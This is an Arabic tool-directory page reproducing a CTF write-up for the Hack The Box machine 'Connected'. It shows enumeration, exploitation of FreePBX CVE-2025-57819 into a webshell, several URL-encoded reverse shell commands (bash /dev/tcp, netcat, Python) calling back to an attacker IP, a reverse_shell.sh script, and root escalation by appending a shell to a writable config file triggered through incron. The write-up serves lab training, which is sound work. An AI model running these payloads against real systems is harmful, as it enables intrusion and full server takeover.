Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/diegorivas1/htb-labs-connected
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبجمع المعلوماتCTFاختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubdiegorivas1/htb-labs-connected

htb-labs-connected

منذ 18س 19دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

# كتابة تحليل آلة Hack The Box Connected تتضمن التعداد، استغلال CVE-2025-57819، شل عكسي، وتصعيد الامتيازات إلى الجذر عبر FreePBX وincron.

عرض المستودع

HTB: Connected - اختيار الموظفين

English | Español

HTB Difficulty OS Platform

📋 جدول المحتويات

  1. الاستطلاع
  2. الاستغلال - CVE-2025-57819
  3. الـ Reverse Shell
  4. تصعيد الصلاحيات
  5. الأعلام
  6. هيكل المستودع
  7. السيناريوهات والأدوات المستخدمة
  8. ملخص الهجوم
  9. الموارد والاعتمادات
  10. ملاحظات إضافية

1. الاستطلاع

1.1 فحص المنافذ باستخدام Nmap

root@kitploit:~
nmap -sV 10.129.81.130

النتائج:

root@kitploit:~
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16

1.2 إضافة النطاق إلى /etc/hosts

root@kitploit:~
echo "10.129.81.130 connected.htb" >> /etc/hosts

1.3 فحص الدلائل باستخدام Gobuster

root@kitploit:~
gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

النتائج الرئيسية:

  • /admin - لوحة إدارة FreePBX
  • /ucp - لوحة تحكم المستخدم
  • /robots.txt - ملف الروبوتات

2. الاستغلال - CVE-2025-57819

2.1 تنزيل الاستغلال

استنساخ مستودع WatchTowr Labs:

root@kitploit:~
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819

2.2 تشغيل الاستغلال

root@kitploit:~
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

المخرجات المتوقعة:

root@kitploit:~
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname

2.3 التحقق من الـ Webshell

root@kitploit:~
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"

النتيجة:

root@kitploit:~
asterisk

3. الـ Reverse Shell

3.1 تشغيل مستمع على Kali

root@kitploit:~
nc -lvnp 4444

3.2 حقن الـ Reverse Shell

النسخة المشفرة:

root@kitploit:~
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"

ملاحظة: استبدل 10.10.14.234 بعنوان IP الخاص بشبكة VPN الخاصة بك.

3.3 بدائل

Netcat

root@kitploit:~
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"

Python

root@kitploit:~
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"

3.4 الـ Shell الذي تم الحصول عليه

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$

4. تصعيد الصلاحيات

4.1 البحث عن ملفات الإعدادات القابلة للكتابة

root@kitploit:~
find /etc -name "*.conf" -writable 2>/dev/null

النتيجة الرئيسية:

root@kitploit:~
/etc/dahdi/init.conf

4.2 فحص incron.d

root@kitploit:~
cat /etc/incron.d/*

الإدخال ذو الصلة:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

4.3 إضافة الـ Reverse Shell إلى init.conf

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf

4.4 تشغيل مستمع الـ Root Shell

root@kitploit:~
nc -lvnp 4545

4.5 تشغيل إعادة تشغيل الخدمة

root@kitploit:~
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart

4.6 الحصول على Root Shell

root@kitploit:~
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#

4.7 التحقق من صلاحيات الجذر

root@kitploit:~
whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

5. الأعلام

5.1 علم المستخدم

root@kitploit:~
cat /home/asterisk/user.txt
root@kitploit:~
HTB{...user_flag...}

5.2 علم الجذر

root@kitploit:~
cat /root/root.txt
root@kitploit:~
HTB{...root_flag...}

تم حذف الأعلام عمدًا من هذا المستودع.


6. هيكل المستودع

root@kitploit:~
htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│   ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│   ├── CVE-2025-57819-exploit/
│   └── CVE-2025-57819-poc/
├── payloads/
│   └── reverse_shell.sh
├── scans/
│   ├── nmap_scan.txt
│   └── gobuster_results.txt
├── screenshots/
└── flags/

7. السيناريوهات والأدوات المستخدمة

7.1 سيناريو الـ Reverse Shell

الملف: payloads/reverse_shell.sh

root@kitploit:~
#!/bin/bash

# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444

IP=$1
PORT=$2

if [ -z "$IP" ] || [ -z "$PORT" ]; then
    echo "Usage: $0 <IP> <PORT>"
    exit 1
fi

bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"

7.2 أوامر الاستطلاع

الملف: scans/nmap_scan.txt

root@kitploit:~
# Full port scan
nmap -sV -p- -T4 10.129.81.130

# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130

7.3 أوامر الفحص

الملف: scans/gobuster_results.txt

root@kitploit:~
# Directory fuzzing
gobuster dir \
    -u http://connected.htb \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

# Fuzzing the admin directory
gobuster dir \
    -u http://connected.htb/admin \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html,conf,ini,bak

8. ملخص الهجوم


9. الموارد والاعتمادات

  • الكتابة الأصلية: CyberSaif
  • استغلال WatchTowr Labs: GitHub
  • CVE-2025-57819: SentinelOne
  • التنبيه الأمني لـ FreePBX: GitHub

10. ملاحظات إضافية

10.1 إذا لم يتم إنشاء الـ Webshell

  • انتظر الدقيقتين كاملتين؛ يحتاج الاستغلال وقتًا لإنشاء الأداة.
  • تحقق من الاتصال:
root@kitploit:~
curl -k https://connected.htb

10.2 إذا لم يعمل المستمع

تحقق من واجهة VPN الخاصة بك:

root@kitploit:~
ip addr show tun0

جرّب منفذ استماع آخر إذا لزم الأمر:

root@kitploit:~
4445
8080
1234

10.3 الملفات الرئيسية على الهدف

  • /etc/dahdi/init.conf - ملف إعدادات قابل للكتابة تم استخدامه أثناء تصعيد الصلاحيات
  • /etc/incron.d/ - دليل إعدادات incron
  • /var/spool/asterisk/sysadmin/dahdi_restart - المشغل المستخدم لتنفيذ إجراء إعادة التشغيل
  • /var/www/html/ - الدليل الجذر لخادم الويب

🏁 الخاتمة

تم إكمال Connected بنجاح. ✅

توضح سلسلة الهجوم كيف يمكن لمثيل FreePBX المكشوف أن يؤدي إلى وصول أولي من خلال CVE-2025-57819، يليه تصعيد الصلاحيات عبر ملف إعدادات قابل للكتابة ومشغل قائم على incron.

تنزيل الأداة
الخطوةالإجراءالنتيجة
1Nmapالمنافذ 22 و 80 و 443 مفتوحة
2Gobusterاكتشاف /admin و /ucp و /robots.txt
3CVE-2025-57819Webshell كمستخدم asterisk
4Reverse ShellShell تفاعلي كمستخدم asterisk
5تصعيد الصلاحياتincron.d → dahdi_restart → init.conf
6الجذرالحصول على Root Shell